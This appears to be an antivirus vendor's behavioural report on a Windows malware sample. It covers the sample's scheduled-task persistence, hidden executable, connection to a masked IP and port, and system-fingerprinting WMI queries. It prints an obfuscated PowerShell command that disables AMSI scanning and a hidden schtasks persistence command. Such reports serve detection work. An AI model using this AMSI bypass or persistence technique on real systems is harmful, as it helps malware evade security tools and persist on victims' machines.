Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\<File name>
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Stati...
Modifies file system
Creates the following files
- %APPDATA%\microsoft\windows\<File name>.exe
- %TEMP%\<File name>_task.xml
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\<File name>.exe
Deletes following files that it created itself
- %TEMP%\<File name>_task.xml
Substitutes the following files
- %TEMP%\<File name>_task.xml
Network activity
Connects to
- '45.##8.101.33':31417
TCP
Other
- '45.##8.101.33':31417
Miscellaneous
Creates and executes the following
- '%APPDATA%\microsoft\windows\<File name>.exe'
Executes the following
- '<SYSTEM32>\schtasks.exe' /Create /XML %TEMP%\<File name>_task.xml /TN <File name> /F
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Query \"select Name from Win32_Processor\").Name"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Query \"Select Name from Win32_VideoController\").Name"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Query \"select * from Win32_OperatingSystem\").Caption"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Query \"select TotalPhysicalMemory from Win32_ComputerSystem\").TotalPhysicalMemory"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Stati...' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Create /XML %TEMP%\<File name>_task.xml /TN <File name> /F' (with hidden window)
- '%APPDATA%\microsoft\windows\<File name>.exe' ' (with hidden window)
